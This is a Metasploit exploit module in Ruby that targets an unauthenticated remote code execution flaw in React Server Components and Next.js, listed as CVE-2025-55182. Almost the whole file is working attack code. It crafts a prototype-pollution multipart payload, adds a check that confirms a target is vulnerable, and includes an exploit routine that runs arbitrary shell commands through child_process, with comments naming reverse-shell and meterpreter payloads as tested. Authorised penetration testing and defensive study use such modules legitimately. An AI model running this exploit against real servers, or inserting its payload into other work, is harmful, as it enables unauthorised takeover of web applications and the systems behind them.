📄 React / Next.js Unauthenticated Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Unauthenticated RCE in React and Next.js',
            'Description' => %q{
              A critical unauthenticated Remote Code Execution (RCE) vulnerability exists in React Server
              Components (RSC) Flight protocol. The vulnerability allows attackers to achieve prototype
              pollution during deserialization of RSC payloads by sending specially crafted multipart
              requests with "__proto__", "constructor", or "prototype" as module names.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maksim Rogov', # Metasploit Module
              'Lachlan Davidson', # Vulnerability Discovery
              'maple3142' # Public Exploit
            ],
            'References' => [
              ['CVE', '2025-55182'],
              ['CVE', '2025-66478'],
              ['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'],
              ['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3']
            ],
            'Platform' => ['multi'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET'
                  }
                  # Tested with cmd/unix/reverse_bash
                  # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => ['windows']
                  # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ],
            ],
            'Payload' => {
              'BadChars' => '"'
            },
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-12-03',
            'Notes' => {
              'AKA' => ['React2Shell'],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to the React App', '/']),
          ]
        )
      end
    
      def build_malicious_chunk(ref_idx, reason, get_token, node_payload)
        {
          'then' => "$#{ref_idx}:then",
          'status' => 'resolved_model',
          'reason' => reason,
          'value' => { 'then' => '$B' }.to_json,
          '_response' => {
            '_prefix' => node_payload,
            '_formData' => {
              'get' => "$#{ref_idx}:#{get_token}:constructor"
            }
          }
        }.to_json
      end
    
      def get_random_value
        random_string = Rex::Text.rand_text_alphanumeric(6..14).upcase
        ['""', '{}', '[]', 'null', 'undefined', 'true', 'false', "\"#{random_string}\""].sample
      end
    
      def build_post_data(node_payload)
        random_reason = -Rex::Text.rand_text_numeric(1, '0').to_i
        random_ref_idx = Rex::Text.rand_text_numeric(1, '0').to_i
        random_get_token = ['then', 'constructor'].sample
    
        chunk = build_malicious_chunk(random_ref_idx, random_reason, random_get_token, node_payload)
    
        post_data = Rex::MIME::Message.new
        post_data.add_part(chunk, nil, nil, 'form-data; name="0"')
    
        cycle_length = rand(random_ref_idx..9)
        (1..cycle_length).each do |i|
          value = (i == random_ref_idx) ? "\"$@#{random_ref_idx}\"" : get_random_value
          post_data.add_part(value, nil, nil, "form-data; name=\"#{i}\"")
        end
    
        post_data
      end
    
      def send_payload(node_payload)
        post_data = build_post_data(node_payload)
    
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path),
          'method' => 'POST',
          'headers' => { 'Next-Action' => '' },
          'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
          'data' => post_data.to_s
        )
      end
    
      def check
        random_id = Rex::Text.rand_text_alphanumeric(8..16).upcase
        node_payload = "throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/#{random_id};307;`});"
    
        res = send_payload(node_payload)
        return CheckCode::Unknown("#{peer} - No response from web service") unless res
    
        headers_text = res.headers.to_s
        return CheckCode::Appears if res.code == 303 && headers_text.include?("/#{random_id};push")
    
        CheckCode::Safe("The target #{target_uri} is not vulnerable")
      end
    
      def exploit
        node_payload = "process.mainModule.require('child_process').exec(\"#{payload.encoded}\",{detached:true,stdio:'ignore'},function(){});"
        send_payload(node_payload)
      end
    end